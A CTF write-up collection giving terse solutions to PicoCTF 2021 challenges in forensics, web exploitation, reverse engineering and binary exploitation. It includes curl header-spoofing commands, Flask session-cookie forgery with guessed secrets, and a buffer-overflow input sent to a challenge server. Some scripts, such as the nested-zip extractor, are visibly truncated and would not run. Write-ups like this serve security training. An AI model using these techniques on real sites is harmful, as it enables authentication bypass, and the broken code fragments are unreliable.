PicoCTF 2021 Write-ups


General Skills

Obedient Cat

Just download file and open it.

Mod 26

Using this site https://rot13.com/ to decrypt ROT13 encryption.

Python Wrangling

Using this command:

python3 ende.py -d flag.txt.en "$(< pw.txt)"

Wave a flag

Using this command:

chmod +x ./warm && ./warm -h

Nice netcat...

Wrapping this python script into nicenc.py

import sys

res = ''
for line in sys.stdin:
  res = res + chr(int(line))


And run command:

nc mercury.picoctf.net 35652 | python3 nicenc.py

Note: Press enter if flag was not display.

Static ain't always noise

Using this command:

chmod +x ./ltdis.sh && ./ltdis.sh ./static && cat ./static.ltdis* | grep -o picoCTF{.*}


strings ./static | grep -o picoCTF{.*}

Tab, Tab, Attack

Extract the file and using this command:

chmod +x fang-of-haynekhtnamet && ./fang-of-haynekhtnamet

Magikarp Ground Mission

Launch the Instance and ssh to it



And cat the first .flag.txt file. We got the first part. Next to:

cd /

And cat the first .flag.txt file. We got the second part. Next to:

cd ~

And cat the first .flag.txt file. We got the final part.



Open file with nano

nano cat.jpg

We can see a XML content bottom the file. In the tag cc:liscense, we got base64. Decode it and get flag.

Weird File

Using https://github.com/decalage2/oletools with command

olevba -c weird.docm

Get base64 and decode it.

Matryoshka doll

Wrapping the following code into uzdoll.py

import zipfile
import sys
import shutil
import os
import re

filename = sys.argv[1]


shutil.copyfile(filename, '.tmp/dolls.jpg');

while True:
 with zipfile.ZipFile(os.path.join('.tmp', filename), "r") as zip_ref:
  if not os.path.isdir('.tmp/base_images'):
  filename = os.listdir('.tmp/base_images')[0]
  shutil.copyfile(os.path.join('.tmp/base_images', filename), os.path.join('.tmp', filename))

res = os.listdir('.tmp')
for name in res:
 if re.search('\.txt$', name):
  with open(os.path.join('.tmp', name)) as f:


Then, run command below:

python3 uzdoll.py dolls.jpg

Wireshark doo dooo do doo...

Strings pcapng file and grep to get request

strings shark1.pcapng | grep GET -A30

We received two GET requests. In the first request, the response is the content line after the line "Content-Type: text/html"

Then, we used https://cryptii.com/ to decrypt the message with caesar algorithm by -13 shift.

Disk, disk, sleuth!

Just strings

strings dds1-alpine.flag.img | grep "pico"

Disk, disk, sleuth! II

Convert .img file to .vdi

VBoxManage convertfromraw dds2-alpine.flag.img dds2.vdi

Create a new virtual machine in virtualbox and use dds2.vdi as exists hard drive.

Boot the VM and login with username `root` and password `root`

To check directory


Then, cat the only in this directory

cat down-at-the-bottom.txt

We got the flag.


Mind your Ps and Qs

Using https://github.com/Ganapati/RsaCtfTool

Web Exploitation

Ancient History

Search all "urlpath:'/index.html?" and join all character after them.


Type following command in the terminal:

curl -I http://mercury.picoctf.net:53554/


Change name cookies to 0 to up and visit site http://mercury.picoctf.net:6418/check to check.

Where name is 18, we got the flag.

Scavenger Hunt

Part 1. In index.html

Part 2. In mycss.css

Part 3. In .htaccess

Part 4. In .DS_Store

Who are you?

Using curl.

With message "Only people who use the official PicoBrowser are allowed on this site!". Type:

curl http://mercury.picoctf.net:39114/ -A "PicoBrowser"

With message "I don&#39;t trust users visiting from another site.". Append:

--referer "http://mercury.picoctf.net:39114/"

With message "Sorry, this site only worked in 2018." Append:

-H "Date: 2018"

With message "I don&#39;t trust users who can be tracked.". Append:

-H "DNT: 1"

With message "This website is only for people from Sweden. We need a Sweden IP. Search it in:


And append:

-H "X-Forwarded-For: SWEDEN_IP"

With message "You&#39;re in Sweden but you don&#39;t speak Swedish?". Append:

-H "Accept-Language: sv"

Full Message

curl http://mercury.picoctf.net:39114/ -A "PicoBrowser" --referer "http://mercury.picoctf.net:39114/" -H "Date: 2018" -H "DNT: 1" -H "X-Forwarded-For: SWEDEN_IP" -H "Accept-Language: sv"

Some Assembly Required 1

The javascript code was obfuscate. But when we check the networks, each time click button. Some request was sent and received a data. It WebAssembly. So we use https://github.com/athre0z/wasm to deassembling it.

Using the second example of this git. We have flag in data section.

It is my Birthday

At the description, we need 2 file pdf have same md5 hash but difference content - it collision.

We use a file at https://github.com/corkami/collisions fastcoll1.bin and fastcoll2.bin were renamed to fastcoll1.pdf and fastcoll2.pdf. Then submit, we got the flag.


Using flask-unsign https://pypi.org/project/flask-unsign/

Get the cookie and parse it with flask-unsign

flask-unsign -d -c YOUR_COOKIE

We have 

{'very_auth': 'blank'}

We need to get secret key. Through the code, we have secret key is name of cookie.

Using flask-unsign to re-sign with each secret. Each secret, we got a session key, replace it and check the /display page.

flask-unsign --sign --cookie "{'very_auth': 'admin'}" --secret "snickerdoodle"
flask-unsign --sign --cookie "{'very_auth': 'admin'}" --secret "chocolate chip"
flask-unsign --sign --cookie "{'very_auth': 'admin'}" --secret "oatmeal raisin"
flask-unsign --sign --cookie "{'very_auth': 'admin'}" --secret "gingersnap"
flask-unsign --sign --cookie "{'very_auth': 'admin'}" --secret "shortbread"
flask-unsign --sign --cookie "{'very_auth': 'admin'}" --secret "peanut butter"
flask-unsign --sign --cookie "{'very_auth': 'admin'}" --secret "whoopie pie"
flask-unsign --sign --cookie "{'very_auth': 'admin'}" --secret "sugar"
flask-unsign --sign --cookie "{'very_auth': 'admin'}" --secret "molasses"
flask-unsign --sign --cookie "{'very_auth': 'admin'}" --secret "kiss"
flask-unsign --sign --cookie "{'very_auth': 'admin'}" --secret "biscotti"
flask-unsign --sign --cookie "{'very_auth': 'admin'}" --secret "butter"
flask-unsign --sign --cookie "{'very_auth': 'admin'}" --secret "spritz"
flask-unsign --sign --cookie "{'very_auth': 'admin'}" --secret "snowball"
flask-unsign --sign --cookie "{'very_auth': 'admin'}" --secret "drop"
flask-unsign --sign --cookie "{'very_auth': 'admin'}" --secret "thumbprint"
flask-unsign --sign --cookie "{'very_auth': 'admin'}" --secret "pinwheel"
flask-unsign --sign --cookie "{'very_auth': 'admin'}" --secret "wafer"
flask-unsign --sign --cookie "{'very_auth': 'admin'}" --secret "macaroon"
flask-unsign --sign --cookie "{'very_auth': 'admin'}" --secret "fortune"
flask-unsign --sign --cookie "{'very_auth': 'admin'}" --secret "crinkle"
flask-unsign --sign --cookie "{'very_auth': 'admin'}" --secret "icebox"
flask-unsign --sign --cookie "{'very_auth': 'admin'}" --secret "gingerbread"
flask-unsign --sign --cookie "{'very_auth': 'admin'}" --secret "tassie"
flask-unsign --sign --cookie "{'very_auth': 'admin'}" --secret "lebkuchen"
flask-unsign --sign --cookie "{'very_auth': 'admin'}" --secret "macaron"
flask-unsign --sign --cookie "{'very_auth': 'admin'}" --secret "black and white"
flask-unsign --sign --cookie "{'very_auth': 'admin'}" --secret "white chocolate macadamia"

Reverse Engineering


Write a python script named dec.py

import string
import sys

encoded = sys.argv[1]

alphabet = string.ascii_letters + string.digits + '{}_'
first_char_map = [ord(c) << 8 for c in alphabet]

res = ''
for c in encoded:
 print('Try break %s' % c)
 oc = ord(c)
 for fc in first_char_map:
  h = oc - fc
  if h >= 0 and h <= 255:
   print("%s %d" % (chr(h), h))
   res += chr(fc >> 8) + chr(h)

print("Result: %s" % res)

And run command:

python dec.py "$(< enc)"


From the line 19 to 21, we have a flag format 


We need to find xxxxxxxx

From the line 157 to 193, the username_trial MORTON was hashed and checked with each flag character.

So we have a patch like this:

import hashlib

flag = 'picoCTF{1n_7h3_|<3y_of_'
username_trial = b"MORTON"

username_hased = hashlib.sha256(username_trial).hexdigest()

flag += ''.join([username_hased[i] for i in [4, 5, 3, 6, 2, 7, 1, 8]])
flag += '}'



Append following line to crackme.py


speeds and feeds

Get gcode to file

nc mercury.picoctf.net 59953 > cnc.txt

And using https://ncviewer.com/ to display it.


Using net cat and enter following:

Choose an option:
How many do you want to buy?
Choose an option:
How many do you want to buy?

We got the flag. Copy the flag content (between bracket [ and ]) and run command.

python3 -c "print(''.join([chr(int(c)) for c in 'YOUR_CONTENT_FLAG'.split(' ')]))"

Binary Exploitation

What's your input?

What's your favorite number?
Number? city
You said: YOUR_CITY
What's the best city to visit?
You said: YOUR_CITY
I agree!


Try buffer overflow with large payload:

python -c "print('A'*2000)" | nc mercury.picoctf.net 35363

And we got the flag (no picoCTF prefix).

By: Anh Hao